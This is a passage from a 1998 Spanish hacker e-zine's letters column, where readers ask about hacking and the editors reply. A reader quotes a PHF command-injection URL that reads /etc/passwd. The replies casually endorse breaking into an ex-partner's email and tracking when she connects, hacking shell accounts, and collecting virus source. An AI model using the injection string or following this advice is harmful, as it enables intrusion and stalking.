  13009. <────────────────────────────────────────────────────────────────────────────>
  13010.  
  13011.   Date: Thu, 05 Mar 1998 06:41:29 MDT
  13012.   From: martha <m_mondragon@xxxxxxxxxxxxxx>
  13013.   To: conde_vampiro@usa.net
  13014.   Subject: mas informacion 
  13015.  
  13016.   viejito estuve viendo tu pagina y quede trastornado;
  13017.   estuve mirando la informacion de como hackear una web y no entiendo 
  13018.   mucho cuando habla de url y la de 
  13019.   /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 
  13020.   me gustaria mucho que me lo explicaras detalladamente. 
  13021.   pues a penas estoy empezando a explorar este mundo tan increible como es 
  13022.   de los  hackers y te lo prometo que dentro de muy poco tiempo voy a
  13023.   estarles ayudando a contribuir en sus paginas 
  13024.   mi correo es pacoflaco@xxxxxxxxxxxxxx 
  13025.  
  13026.   <------>
  13027.  
  13028.   [ Sinceramente, para que estar aqui escribiendo lineas sobre el PHF, cuando
  13029.     tienes un arti sobre esto en el numero anterior o sea que te aconsejo
  13030.     que te pases por alli y lo leas :)
  13031.     Un URL es cualquier direccion en Inet, como por ejemplo:
  13032.     http://jjfhackers.home.ml.org
  13033.     Okis ? ]
  13034.  
  13035. <────────────────────────────────────────────────────────────────────────────>
  13036.  
  13037.   Date: Thu, 05 Mar 1998 06:11:52 MDT
  13038.   From: martha <m_mondragon@xxxxxxxxxxxxxx>
  13039.   To: conde_vampiro@usa.net
  13040.   Subject: informacion
  13041.  
  13042.   viejito me gustaria informacion que tuviera que ver con hackeadores de
  13043.   password me gusta todo lo relacionado con hack. 
  13044.   mi correo pacoflaco@xxxxxxxxxxxxxx 
  13045.  
  13046.   <------>
  13047.  
  13048.   [ Te remito otra vez al numero anterior :) ]
  13049.  
  13050. <────────────────────────────────────────────────────────────────────────────>
  13051.  
  13052.   Date: Wed, 04 Mar 1998 09:31:18 MDT
  13053.   From: PlaXiuS <plaxius@xxxxxxxxxxxxxx>
  13054.   To: jjf_team@usa.net
  13055.   Subject: Felicitaciones 
  13056.  
  13057.   Bueno Chikos :
  13058.  
  13059.   Dejenme felicitarlos por el pedazo de E-Zine que tienen , a pesar de ser 
  13060.   cortito , la cantidad de informacion y mas bien dicho la calidad es 
  13061.   excelente , e revisado varios E-zine y solo habia encontrado en Raregazz 
  13062.   (http://raregazz.islatortuga.com) un E-Zine valiosa, pero hoy encontre 
  13063.   uno que realmente satisface mis necesidades ... FELICITACIONES y sigan 
  13064.   adelante .. 
  13065.   La verdad habia leido un articulo de Nobody en islatortuga , uno que 
  13066.   encontre excelente , el hack desde 95 . muy burn articulo ... y me llamo 
  13067.   la atencion cuando lo vi por estos lares como colaborador . Bueno seria 
  13068.   interesante que publicaran algunos bugs o exploit para Nt Web , ya que 
  13069.   es este sistema operativo que esta reinante y sera el que a futuro 
  13070.   domine los webs (si es verdad que guindows nt es una mierda ) , pero que 
  13071.   le vamos ha hacer , pro lo menos en mi pais la gran mayoria de los 
  13072.   server trabajan bajo este sistema operativo ... y el famoso getadmin , 
  13073.   esta ampliamente parchado , ademas que solo se puede ejecutar localmente. 
  13074.  
  13075.   Bueno me despido y los vuelvo a felicitar por su E-Zine . 
  13076.  
  13077.   PlaXiuS . 
  13078.  
  13079.   <------>
  13080.  
  13081.   [ Pues thx por tus cumplidos y por supuesto que seguiremos trabajando duro
  13082.     el ezine para que lo podais disfrutar de verdad :)
  13083.     Referente a Nobody que decir... solomante que es uno de nuestros mas
  13084.     leales colaboradores con el ezine. Sobre NT algo tenemos pensado asi
  13085.     que a lo mejor te damos un sorpesa en algun tiempo y sobre los bug's,
  13086.     pues la verdad es que lo hemos pensado pero todavia no estamos seguro
  13087.     debido a nuestro escaso tiempo, por lo que si algun lector se quiere
  13088.     hacer cargo de una seccion de bug's, pues estaria muy bien!!
  13089.     Byes. ]
  13090.  
  13091. <────────────────────────────────────────────────────────────────────────────>
  13092.  
  13093.   Date: Sat, 07 Mar 1998 09:18:17 MDT
  13094.   From: "Fernando Di Bernardo" <fdibernardo@xxxxxxxxxxxxxx>
  13095.   Subject: password en excel 
  13096.  
  13097.   Necesito leer un xls con password, como lo puedo abrir.
  13098.  
  13099.   <------>
  13100.  
  13101.   [ Pasate por nuestro web en la seccion de crack :) ]
  13102.  
  13103. <────────────────────────────────────────────────────────────────────────────>
  13104.  
  13105.   Date: Mon, 09 Mar 1998 13:27:39 MDT
  13106.   From: "Familia Picornell Busquets" <fpicornell@xxxxxxxxxxxxxx>
  13107.   Subject: Buenas, gente! 
  13108.  
  13109.   Hola!!
  13110.   Lo voy a hacer breve:
  13111.   Soy un xico de 15 anyos aficionado a la informatica, i ultimamente me
  13112.   estoy informando sobre todo esto de hackers, crackers, etc.
  13113.  
  13114.   Peroi la verdad es que no pillo nada, o sea primero me respondeis para ver
  13115.   si esta direccion es la adequada i luega hablaremos
  13116.  
  13117.   Hasta luego i gracias!!
  13118.  
  13119.   fpicornell@xxxxxxxxxxxxxx
  13120.  
  13121.   Pere Picornell i Busquets
  13122.  
  13123.   <------>
  13124.  
  13125.   [ Pues parece que esta es la direccion correcta, diria yop ;-) y para pillar
  13126.     algo sobre el tema, pues lee nuestro ezine que para algo esta. ]
  13127.  
  13128. <────────────────────────────────────────────────────────────────────────────>
  13129.  
  13130.   From: "Jose M. Guerrero" <jmguerrero@xxxxxxxxxxxxxx> 
  13131.   Cc: <conde_vampiro@hotmail.com>
  13132.   Subject: Una consulta
  13133.   Date: Tue, 10 Mar 1998 12:24:28 +0100
  13134.  
  13135.   Hola que tal he encontrado tu web en Internet y he visto que eres un hacker
  13136.   y te escribia para pedirte un favor ,te explico conoci una tia por
  13137.   casualidad sin buscarlo por internet de Panama y ha estado jugando con mis
  13138.   sentimientos nada mas y nada menos que casi un año y ahora resulta que se
  13139.   esta riendo de mi e intentando jugar conmigo sipcologicamente y me ha hecho
  13140.   un daño que te cagas y mi pregunta es si sabes si seria posible violar su
  13141.   cuenta de correo electronico o por lo menos saber cuando se conecta.
  13142.   He estado mirando con el programa Finger pero no se si es que no lo se usar
  13143.   bien o que la mayoria de cuentas de correo no lo admiten.
  13144.   Lo unico que tengo de ella por eso es su direccion e-mail y todo lo que pone
  13145.   en las propiedades de algun e-mail suyo.
  13146.  
  13147.   Un saludo de un colega de Manresa Barcelona Spain
  13148.  
  13149.            Home page
  13150.   http://www.freeyellow.com/members/josema
  13151.            E-mail:
  13152.   jmguerrero@xxxxxxxxxxxxxx
  13153.  
  13154.   <------>
  13155.  
  13156.   [ Bueno esto es un tema complejo y ya se sabe que las mujeres dan dolor de
  13157.     cabeza (y que no se enfaden nuestras lectoras ;), logicamente si que
  13158.     puedes violar su correo pero es un delito y esta penado por la
  13159.     justicia y tambien puedes saber cuando se conecta. Si tienes su cuenta
  13160.     de correo autentica es mas facil si es una anonima pues la cosa se
  13161.     complica, ya que si sabes la autentica sabrias su servidor y podrias
  13162.     meter un programa que te avisa cuando se conecta, pero logicamente esto
  13163.     no es nada facil.
  13164.     Sobre el Finger mira el curso de hack IV que viene en este numero, seguro
  13165.     que te sera util ;-) ]
  13166.  
  13167. <────────────────────────────────────────────────────────────────────────────>
  13168.  
  13169.   Date: Wed, 11 Mar 1998 17:28:02 MDT
  13170.   From: Fernando Di Bernardo <fdibernardo@xxxxxxxxxxxxxx>
  13171.   To: "'jjf_team@usa.net'"
  13172.   Subject: Virus Macros, IP 
  13173.  
  13174.   Disculpa si te he tomado como profesor para mi consultas, pero tengo
  13175.   interes en recibir o direcciones de inet, codigo fuente de virus macros
  13176.   para Office, y si es posible con la explicacion de su funcionamiento. 
  13177.  
  13178.   Tambien necesito algun metodo, o programa, para determinar desde que pais, 
  13179.   servidor, y algun dato extra, con la direccion IP, que queda grabada en el
  13180.   log del server. 
  13181.  
  13182.   Gracias 
  13183.  
  13184.   <------>
  13185.  
  13186.   [ Sobre virus pues pasate por nuestra seccion de virus en nuestro web, que
  13187.     seguro que encontaras cosas interesantes.
  13188.     Sobre lo de IP si trabajas con linux no tendras problemas para esto y
  13189.     ademas en el ezine hay diversa informacion de como hacerlo. Por cierto,
  13190.     a quien quieres rastrear ?? }:-) ]
  13191.  
  13192. <────────────────────────────────────────────────────────────────────────────>
  13193.  
  13194.   Date: Sat, 14 Mar 1998 01:45:42 MDT
  13195.   From: Juan Alonso Costas <juanbert@xxxxxxxxxxxxxx>
  13196.   To: jjf_team@usa.net
  13197.   Subject: desde Galicia 
  13198.  
  13199.   Estimado Hacker, estudio ingieneria y estoy recopilando programas de
  13200.   caracter cientifico, enviame si puedes, alguna direcion donde 
  13201.   encontrarlos. 
  13202.  
  13203.   Gracias de ante mano un saludo. 
  13204.  
  13205.   BeRtOnE 
  13206.  
  13207.   <------>
  13208.  
  13209.   [ Y que tenemos que ver nosotros con la distribucion de soft ???
  13210.     y thx por la foto X pero pasamos de sobornos :)
  13211.     Si quieres soft cientifico hay muchos sitios donde pillar solo hay que
  13212.     moverse un poco !!! ]
  13213.  
  13214. <────────────────────────────────────────────────────────────────────────────>
  13215.  
  13216.   Date: Fri, 13 Mar 1998 21:50:51 -0500
  13217.   From: LEONARDO SANCHEZ <al28933@xxxxxxxxxxxxxx> 
  13218.   To: conde_vampiro@hotmail.com
  13219.   Subject: Novato
  13220.  
  13221.   Conde Vampiro, soy nuevo en esto del hacking, por esto necesito toda la
  13222.   informacion posible o algo en lo cual apoyarme.
  13223.  
  13224.   Agradezco cualquier ayuda proporcionada
  13225.  
  13226.   Zeus(hardbody@xxxxxxxxxxxxxx)
  13227.  
  13228.   <------>
  13229.  
  13230.   [ Informacion pues ya sabes lee nuestro ezine y navega por nuestro web, que
  13231.     seguro que pillas muchas cosas ;-) Byes ]
  13232.  
  13233. <────────────────────────────────────────────────────────────────────────────>
  13234.  
  13235.   De: ib309481@xxxxxxxxxxxxxx
  13236.   A: jjf_team@hotmail.com
  13237.   Asunto: J.J.Hackers Team
  13238.   Fecha: lunes 1 de enero de 1990 0:49
  13239.  
  13240.   En primer lugar quiero felicitaros por la revista, porque íes c....!.
  13241.   Tambien a ser posible que hablaseis sobre Linux, porque tengo dudas,  ¿es
  13242.   imprescindible para hackear? y no se si cogerlo.
  13243.   A ser posible quisiera un truco para llamar gratis, o menos dinero......,
  13244.   cosas asi. La cabina a la que me refiero es una cabina digital de
  13245.   Telefonica azul, con posibilidad de tarjeta y de monedas. Y por ultimo,
  13246.   ¿como consigo una cuenta shell?, ni en #Hackers, ni en #Shell, he dado con
  13247.   la respuesta.
  13248.   Saludos a "Conde_Vampiro", que salio en la revista RED, hablando sobre
  13249.   hackers y la revista..........
  13250.  
  13251.   Adios y gracias "XSepHack"
  13252.  
  13253.   <------>
  13254.  
  13255.   [ Bueno pues thx a ti por tus cumplidos y ya veras mas cosas nuestras en la
  13256.     revista EN LA RED ;-), sobre linux lo mas seguro es que demos un curso
  13257.     o sea que problema resuelto y sobre si es necesario para hackear, yo
  13258.     diria que sip ya que muchos servidores utilizan esos s.o., ademas
  13259.     linux te trae muchas herramientas que te seran utiles que los otros
  13260.     s.o. (sistemas operativos) no traen.
  13261.     Lo de phones esta chungo, ya se sabe que timofonica es una jodia, pero
  13262.     ya pillaras algun truco en el ezine y en algunos web's sobre el tema.
  13263.     Lo de shell siempre es dificil al principio ya que sino consigues que
  13264.     alguien te pase una para empezar tendras que hackear una tu. ]
  13265.  
  13266. <────────────────────────────────────────────────────────────────────────────>
  13267.  
  13268.   Date: Sun, 15 Mar 1998 03:12:46 MDT
  13269.   From: "Jose M. Guerrero" <jmguerrero@xxxxxxxxxxxxxx>
  13270.   To: Subject: 
  13271.  
  13272.   Cuando sale el numero 4 de e-zine?
  13273.   Home page 
  13274.   http://www.freeyellow.com/members/josema 
  13275.   E-mail: 
  13276.   jmguerrero@xxxxxxxxxxxxxx 
  13277.  
  13278.   <------>
  13279.  
  13280.   [ Ya lo estas leyendo ;-) ]
  13281.  
  13282. <────────────────────────────────────────────────────────────────────────────>
  13283.  
  13284.   Date: Mon, 16 Mar 1998 20:56:31 MDT
  13285.   From: "Jose M. Guerrero" <jmguerrero@xxxxxxxxxxxxxx>
  13286.   Subject: RE: []
  13287.  
  13288.   Yo fuie quien envio el siguiente e-mail ,pagaria 5000 pst al que me diera
  13289.   la salucion para recivir lo emails que ella recive o envia de esa tia que
  13290.   me jodio tanto o a menos saber cuando esta conectada o dende 
  13291.  
  13292.   Hola que tal he encontrado tu web en Internet y he visto que eres un hacker 
  13293.   y te escribia para pedirte un favor ,te explico conoci una tia por 
  13294.   casualidad sin buscarlo por internet de Panama y ha estado jugando con mis 
  13295.   sentimientos nada mas y nada menos que casi un año y ahora resulta que se 
  13296.   esta riendo de mi e intentando jugar conmigo sipcologicamente y me ha hecho 
  13297.   un daño que te cagas y mi pregunta es si sabes si seria posible violar su 
  13298.   cuenta de correo electronico y ver su correspondencia o por lo menos saber 
  13299.   cuando se conecta. 
  13300.   He estado mirando con el programa Finger y el San Spam pero no se si es 
  13301.   que no lo se usar 
  13302.   bien o que la mayoria de cuentas de correo no lo admiten. 
  13303.   Lo unico que tengo de ella por eso es su direccion e-mail y todo lo que pone 
  13304.   en las propiedades de algun e-mail suyo. 
  13305.   Un saludo de un colega de Manresa Barcelona Spain 
  13306.   Home page 
  13307.   http://www.freeyellow.com/members/josema 
  13308.   E-mail: 
  13309.   jmguerrero@xxxxxxxxxxxxxx 
  13310.  
  13311.   <------>
  13312.  
  13313.   [ Tranquilo !!, ya te hemos dado nuestra contestacion mas arriba ;-) ]
  13314.  
  13315. <────────────────────────────────────────────────────────────────────────────>
  13316.  
  13317.   Date: Wed, 18 Mar 1998 09:47:09 MDT
  13318.   From: <kawa.saki@xxxxxxxxxxxxxx>
  13319.   Subject: Hola 
  13320.  
  13321.   Hola,
  13322.   Soy un poco Newbie, donde y como empiezo, que leo, etc, 
  13323.   Dany, 
  13324.   Gracias por adelantado 
  13325.  
  13326.   CodeBracker en IRC
  13327.  
  13328.   <------>
  13329.  
  13330.   [ Pues logicamnete este ezine, que seguro que te sera de gran ayuda, aunque
  13331.     por descontado, pasate por nuestro web. ]
  13332.  
  13333. <────────────────────────────────────────────────────────────────────────────>
  13334.  
  13335.   Subject: joder
  13336.   To: jjf_team@hotmail.com
  13337.   Date: Mon, 23 Mar 1998 10:40:46 MET
  13338.   From: 444525@xxxxxxxxxxxxxx 
  13339.  
  13340.   soy yo oooootra vez..rrush
  13341.   ke se me olvidaba una kosilla.Ke si sabeis alguna otra forma de entrar
  13342.   debido a la mala konfiguaricon del ftp.
  13343.   vale?
  13344.   pos adiox y thx 
  13345.  
  13346.   <------>
  13347.  
  13348.   [ Curioso, la verdad, ya te respondimos en el numero 3, pero por lo visto
  13349.     no lo has leido. Te diremos lo mismo que antes, has intentado usar el
  13350.     Kermit ?, tambien puedes enviarte un mail a esa cuenta con el fichero
  13351.     adjunto y ya esta. En realidad es muy simple :)
  13352.     Por cierto, hemos cambiado de Buzon!!!!! ]
  13353.  
  13354. <────────────────────────────────────────────────────────────────────────────>
  13355.  
  13356.   Date: Thu, 26 Mar 1998 16:40:19 MDT
  13357.   From: martha <m_mondragon@xxxxxxxxxxxxxx>
  13358.   To: conde_vampiro@usa.net
  13359.   Subject: sangre 
  13360.  
  13361.  
  13362.   <------>
  13363.  
  13364.   [ Y esto ???? un mail vacio, como estamos!! ]
  13365.  
  13366. <────────────────────────────────────────────────────────────────────────────>
  13367.  
  13368.   From: "Familia Picornell Busquets" <fpicornell@xxxxxxxxxxxxxx> 
  13369.   To: <jjf_team@hotmail.com> 
  13370.   Subject: Ayuda, por favor! 
  13371.   Date: Tue, 24 Mar 1998 02:32:42 +0100 
  13372.  
  13373.   Hola, gente! 
  13374.   Soy un newbie que necesito ayuda para poder hacer algo, para aprender, 
  13375.   ya que todo lo que encuentro son: o Hackers que no comparten sus  
  13376.   conocimientos, o documentos ilegibles, o con tecnicismos que no  
  13377.   pillo, etc... 
  13378.  
  13379.   A ver si podeis perder un poco de tiempo indicandome donde puedo ir, 
  13380.   con quien puedo hablar, o mandarme algun arxivo (podeis confiar  
  13381.   conmigo, por favor no me puteeis como ya me han hecho algunas veces. yo 
  13382.   confio en vosotros, al menos...) 
  13383.  
  13384.   Os agradeceria muchisimo vuestra ayuda.
  13385.   Por cierto, puede que la direccion no funcione, entonces responded 
  13386.   directamente al missage i quiza funcione 
  13387.  
  13388.   fpicornell@xxxxxxxxxxxxxx 
  13389.  
  13390.   Gracias! 
  13391.  
  13392.   the Sardaukar 
  13393.   
  13394.   <------>
  13395.  
  13396.   [ Nosotros respondemos por aqui :) y si lo que buscas es info, pues lee
  13397.     este ezine que esta creado para que os podais meter en el mundo
  13398.     underground sin ningun problema, ya que todo esta bien explicado o eso
  13399.     pensamos, lo de enviar ficheros y hablar con gente en eso no podemos
  13400.     ayudarte, siempre te puedes poner en contacto con los autores de los
  13401.     articulos y que conste que nosotros no puteamos a nadie ;-) ]
  13402.  
  13403. <────────────────────────────────────────────────────────────────────────────>
  13404.  
  13405.   Date: Tue, 31 Mar 1998 20:46:29 MDT
  13406.   From: Victor Pena Huerta <vphuerta@xxxxxxxxxxxxxx>
  13407.   To: jjf_team@usa.net
  13408.   Subject: hola 
  13409.  
  13410.   me gustaria ser hacker me podrian ensellar mi nick es ssayan3
  13411.  
  13412.   <------>
  13413.  
  13414.   [ Hombre, no vamos dando clases privadas, como comprenderas, pero para eso
  13415.     esta nuestro/vuestro ezine :), para que podais aprender el arte del
  13416.     hacking, pero en realidad el hacking es la curiosidad y ganas de
  13417.     aprender. ]
  13418.  
  13419. <────────────────────────────────────────────────────────────────────────────>
  13420.  
  13421.   From: "Alberto Castro" <albertocr@xxxxxxxxxxxxxx> 
  13422.   To: jjf_team@hotmail.com
  13423.   Subject: cuenta shell
  13424.   Date: Sun, 29 Mar 1998 18:45:31 PST
  13425.  
  13426.   Hola muchachos, soy nuevo en este mundo,
  13427.   Me parece muy interesante su revista, sigan adelante.
  13428.  
  13429.   Me gustaria tener la cuenta shell en:
  13430.   http://www2.seeder.net.tw/tpm/
  13431.  
  13432.   Gracais por todo.
  13433.  
  13434.                           Dragonfly
  13435.  
  13436.   <------>
  13437.  
  13438.   [ Pues thx por tus cumplidos y claro que seguiremos en esta linea o incluso
  13439.     superarnos ;-)
  13440.     Pero no entendemos que quieres decir con lo de la cuenta shell ??, hemos
  13441.     visto que todo esta en Chino. Acaso entiendes chino ?? ]
  13442.  
  13443. <────────────────────────────────────────────────────────────────────────────>
  13444.  
  13445.   Date: Tue, 31 Mar 1998 23:52:20 MDT
  13446.   From: plaxius <plaxius.com@xxxxxxxxxxxxxx>
  13447.   To: jjf_team@usa.net
  13448.   Subject: muy guena 
  13449.  
  13450.   Holap chikos ..
  13451.  
  13452.   Un gusto escribirles de nuevo ... solo escribo para decirles que la 
  13453.   pagina esta muy buena esta chulisima .. en especial el applet ... a todo 
  13454.   esto tengo una pagina con este applet asi que espero que no piensen que 
  13455.   les ando copiando el formato jejej .,,.. okis nos vemos pronto les envio 
  13456.   informacion para presentarles un nuevo E-Zine made in chile .. llamado 
  13457.   Proyecto_R en el cual trataremos de abordar algunos temas no tan 
  13458.   manoseados ... ademas pronto les enviare info sobre el Komando A.P.I. 
  13459.   komando Anti Pornografia Infantil , somos un grupo de wannabes y 
  13460.   hackers luchando en contra de la pornografia infantil en su mayoria 
  13461.   latinoamericanos , grupo al kual pertenece katiuska la creadora del 
  13462.   famoso Viruz en contra de la pornografia infantil . 
  13463.  
  13464.   Nos Belmont Chikoss 
  13465.  
  13466.   Un Afectuoso Saludo de 
  13467.  
  13468.   PlaXiuS 
  13469.   irc dalnet canal #chile 
  13470.   http://www.geocities.com/soho/lofts/5372 
  13471.  
  13472.   <------>
  13473.  
  13474.   [ El web es todo trabajo de Mac Crack (la verdad es que se lo curra ;)
  13475.     Lo del ezine nos parece muy bien y ya nos avisaras cuando este el
  13476.     primer numero :) y tb estamos deseosos de saber sobre lo de A.P.I.
  13477.     ya que nosotros estamos en contra de la pornografia infantil!!!
  13478.     Suerte con vuestros proyectos ;-)) ]
  13479.  
  13480. <────────────────────────────────────────────────────────────────────────────>
  13481.  
  13482.   Date: Thu, 02 Apr 1998 05:17:43 +0000
  13483.   From: astruc@xxxxxxxxxxxxxx  
  13484.   Subject: Felicidades
  13485.   To: jjf_team@hotmail.com
  13486.  
  13487.   Felicidades por vuestro ezine. Con vuestro permiso, incluiremos
  13488.   un link en nuestra pagina.
  13489.   Saludos.
  13490.  
  13491.   astruc@smileyface.com
  13492.   http://www.olivet.com/astruc
  13493.  
  13494.   <------>
  13495.  
  13496.   [ Thx y claro, no problemo!! ;-) ]
  13497.  
  13498. <────────────────────────────────────────────────────────────────────────────>
  13499.  
  13500.   From zyklon@galaxycorp.com Mon Apr 13 08:33:07 1998
  13501.   To: jjf_team@hotmail.com
  13502.   From: zyklon <zyklon@xxxxxxxxxxxxxx>  
  13503.   Subject: e-zine
  13504.  
  13505.   El e-zine eesta bastante bien.Os queria comentar si teneis intenciones
  13506.   de escribir sobre ip-spoofing,dada la poca info ke hay sobre el tema
  13507.   en español programas ke hay,ejemplos de como suplantar otra ip etc...si
  13508.   no,si sabeis algo del tema o teneis algun ficherillo,os agradeceria me lo
  13509.   mandaseis para investigarlo
  13510.   ....y asi poder ser un futuro articulo en el e-zine.....
  13511.         
  13512.              ........al diablo siempre tiene 
  13513.                                 trabajo para las manos 
  13514.                                 que no hacen nada..........
  13515.  
  13516.   <------>
  13517.  
  13518.   [ El tema del IP-Spoofing ya fue tratado en este ezine en el 2 numero, pero
  13519.     no descartamos la idea de seguir con el tema :), lo de enviar ficheros
  13520.     no puede ser, en todo caso pasate por nuestro web.
  13521.     Esperamos tu articulo ;-) ]
  13522.  
  13523. <────────────────────────────────────────────────────────────────────────────>
  13524.  
  13525.   Date: Wed, 15 Apr 1998 01:13:35 GMT
  13526.   From: "Ottmar Figueroa R." <fottmar@xxxxxxxxxxxxxx>
  13527.   To: conde_vampiro@usa.net
  13528.   Subject: saludos 
  13529.  
  13530.   Holas.
  13531.  
  13532.   Queria preguntarte, que de cierto tiene el asunto del virus de Access y de 
  13533.   ser cierto, si Uds. tienen como disponer del codigo o una copia del virus 
  13534.   (para efectos educativos). 
  13535.  
  13536.   Gracias. 
  13537.   racias. 
  13538.  
  13539.   <------>
  13540.  
  13541.   [ En nuestra seccion de Virus en el web, seguro que encontaras cosas que
  13542.     te seran util. Si que existen virus de Access pero nosotros no disponenos
  13543.     del codigo fuente por el momento, por lo que si alguien lo tiene que nos
  13544.     lo envie y lo colgaremos en el web :) ]
  13545.  
  13546. <────────────────────────────────────────────────────────────────────────────>
  13547.  
  13548.   Date: Thu, 16 Apr 1998 17:50:55 GMT
  13549.   From: Luis Alfonso Alvarez Sestelo <geyper@xxxxxxxxxxxxxx>
  13550.   To: conde_vampiro@usa.net
  13551.  
  13552.   Hola, te escribo para decirte que estais haciendo un gran labor con 
  13553.   vuestra revista. Creo que de todas las espanholas es la que mas ayuda a la 
  13554.   gente novel en este campo. Me gustaria que me dijeses si existe la 
  13555.   posibilidad de que fueses mi "mentor". Soy una persona a la que le gusta 
  13556.   aprender y creo que lo hago bastante rapido pero hay cosas que se me 
  13557.   resiste. Espero que no pienses que quiero tomarte el pelo o que soy de la 
  13558.   poli o algo asi. Estoy dispuesto a contestarte a cualquier pregunta que 
  13559.   desees hacerme y en caso de que no puedas o no quieras hacerlo, sin 
  13560.   problema 
  13561.   Saludos 
  13562.  
  13563.   geyper:) 
  13564.  
  13565.   <------>
  13566.  
  13567.   [ Pues thx pero por desgracia no podemos ayudarte, si lo que quieres es
  13568.     aprender lee nuestro ezine y demas documentos nuestros e intenta
  13569.     escribir algun articulo para ir cogiendo soltura. Nuestro consejo es que
  13570.     leas todo lo que puedas y hagas tus propios experimentos pero siempre
  13571.     con cuidado de lo que haces. ]
  13572.  
  13573. <────────────────────────────────────────────────────────────────────────────>
  13574.  
  13575.   Date: Mon, 20 Apr 1998 20:44:01 GMT
  13576.   From: ferran picornell <fpicornell@xxxxxxxxxxxxxx>
  13577.   To: conde_vampiro@usa.net
  13578.   Subject: Traduccion
  13579.  
  13580.   Plφ... kalguien me traduzca el texto de iniciacion al phreaking. I si te 
  13581.   viene bien, me mandas los que tengas traducidos. :-) 
  13582.   Grcias, y astalavista! 
  13583.   -Sardaukar 
  13584.  
  13585.   daukar 
  13586.  
  13587.   <------>
  13588.  
  13589.   [ Nosotros por el momento no podemos pero si algun lector le interesa, pues
  13590.     que lo traduzca y nos lo envie al ezine :), lo referente a ya traduciodos
  13591.     nosotros no hemos visto nada al respecto. ]
  13592.  
  13593. <────────────────────────────────────────────────────────────────────────────>
  13594.  
  13595.   Date: Tue, 21 Apr 1998 23:03:37 GMT
  13596.   From: <JIBINARRIAGAD@xxxxxxxxxxxxxx>
  13597.   Subject: Un novato lector tuyo 
  13598.  
  13599.   Hola tio, soy un chaval de 17 años que acaba de empezar a leer cosas sobre
  13600.   el hacking. Encontre vuestro E-zine en un pagina y os ponian muy bien asi
  13601.   que me lo baje. He de decirte que es muy bueno y me ha gustado mucho, ya
  13602.   que no es muy complicado.
  13603.   Te escribo porque me gustaria que fueras mi profesor :-) acerca sobre el
  13604.   hacking porque a pesar que todos los hackers decis que es muy facil no lo
  13605.   es tanto aunque si mas de lo que parece. Como he dicho soy un novato tanto
  13606.   en esto del hacking como de la Red como de los ordenadores, pero no te
  13607.   desesperes ya que a E-zines como la tuya o Saqueadores (muy buena y muy
  13608.   facil de entender) he aprendido bastante sobre la Red que no viene en
  13609.   revistas del mundo de la informatica como Pc-actual.
  13610.   Pues lo dicho te agradeceria mucho tu ayuda porque de verdad me gusta y
  13611.   tengo ganas de aprender porque ademas esto no te enseñan en la carrera,
  13612.   pero si no quieres o estis muy ocupado, tranquilo lo comprendere :-),
  13613.   supongo que te habran escrito muchos como yo. :-D
  13614.   Mi direccion es: jibinarriagad@xxxxxxxxxxxxxx
  13615.   Muchas gracias por tu atencion
  13616.   Jaime
  13617.  
  13618.   <------>
  13619.  
  13620.   [ Thx pero no podemos ayudarte, ya que como hemos dicho antes no vamos
  13621.     dando clases privadas, pero para eso teneis nuestro/vuestro ezine, en el
  13622.     cual plasmamos nuestros conocimientos :) para que podais aprender el
  13623.     significado real del hacking, que siemplemente es la curiosidad y las
  13624.     ganas de aprender. Decirte tb que el hacking no es facil por mucho que
  13625.     digan. ]
  13626.  
  13627. <────────────────────────────────────────────────────────────────────────────>
  13628.  
  13629.   Date: Wed, 22 Apr 1998 05:33:28 GMT
  13630.   From: stain@xxxxxxxxxxxxxx
  13631.   To: jjf_team@usa.net
  13632.   Subject: felicitaciones a Nobody x el doc de hackig en Win 95 y mas... 
  13633.  
  13634.   Amigos del JJF Hackers Team, les escribo de paso para decirles que la
  13635.   revista me parece excelente. No veo la hora que salga la proxima. Sigan
  13636.   asi, con mucho empuje. 
  13637.  
  13638.   El motivo de mi mail era para el señor Nobody (me dirijo a el a traves de 
  13639.   ustedes porque no tengo su e-mail). Queria felicitarlo por el magnifico
  13640.   trabajo que hizo en el documento "La superquia del Hacker". Hacia falta que
  13641.   alguien escribiera sobre como hackear al/desde Windoze 95 (por mas que
  13642.   todos sigamos prefiriendo el Unix porque es lo mejor que hay y porque....
  13643.   buehhh, ya saben el resto).
  13644.   En mi humilde opinion, a este sistema operativo se lo deberia seguir 
  13645.   investigando para encontrarle fallas (que tiene da a millones) y ver como 
  13646.   hackearlo y como hackear desde el, o como hundirlo :)á Esto lo digo porque
  13647.   no se donde lei que el uso del Windoze NT estaba creciendo a pasos
  13648.   agigantados y en el futuro Unix se iria dejado de usar; para lamento de
  13649.   todos nosotros.
  13650.   En segundo lugar, hackear Unix es como cosa conocida, hay bugs, exploits, 
  13651.   nukes, backdoors, sniffers y cientos de cosas mas de a montones y por
  13652.   doquier.
  13653.   Pero que hay con Win 95.NT? Poco y nada. Es por esto que seria de mucho
  13654.   agrado para los que usan Win 95/NT como alternativa que Nobody (porque fue
  13655.   el primero) o alguien del JJF-HT escribiera una segunda guia para hackear
  13656.   desde Windows 95 mas avanzada y tecnica, detallando mas tecnicas, metodos y
  13657.   programas que hay (alguien dijo IP spoffing en Win 95????). 
  13658.   Otra cosa: ustedes bien saben que hay muchos ataques del tipo Unix to 
  13659.   Windows: land, sync flood, bonk, winnuke, boink, teardrop y semejantes. Se 
  13660.   podria hacer todo esto Windows to Windows? A mi me gustan los desafios, y a 
  13661.   ustedes? No seria bueno que ALGUIEN (ohhh quien sera ese benevolo ser?)
  13662.   hiciera un programejo con todos estos ataques DoS (agregandole quiza mas
  13663.   utilidades como mailbomer, mail anonimo y etc..) en castellano, de paso? 
  13664.   Por que? se preguntaran. Imaginen la siguiente situacion: estan usando Word
  13665.   o Excel (Win 95) y se acordaron que quieren jugarle una bromita (pequeña) a
  13666.   un amigo. En vez de... guardar todo, cerrar el programa, rebotear, comenzar
  13667.   Linux, esperar a que cargue, utilizar los ataques DoS o similares contra
  13668.   esa persona, salir de Linux, rebootear, iniciar Win 95, esperar a que
  13669.   cargue, abrir Word o Excel y continuar trabajando... no seria mas facil
  13670.   ejecutar ese superprogramejo cagaWindoze cien veces mas potente que el
  13671.   comun Winnuke, en espanol; mandarle el tipo de ataque que querramos
  13672.   (pudiendo ser casi anonimos porque el programa utilizaria varios servers y
  13673.   proxies) mientras continuamos con nuestra sesion de Wor o Excel? No seria
  13674.   mas facil?
  13675.   Ideas? tengo muchas, posibilidades? pocas porque lamentablemente ya estoy 
  13676.   viejo para aprender a programar en Windoze. 
  13677.  
  13678.   Desde ya muchisimas gracias por su tiempo y paciencia, espero que me puedan 
  13679.   ayudar (o que Nobody haga algo) 
  13680.  
  13681.   STAIN 
  13682.  
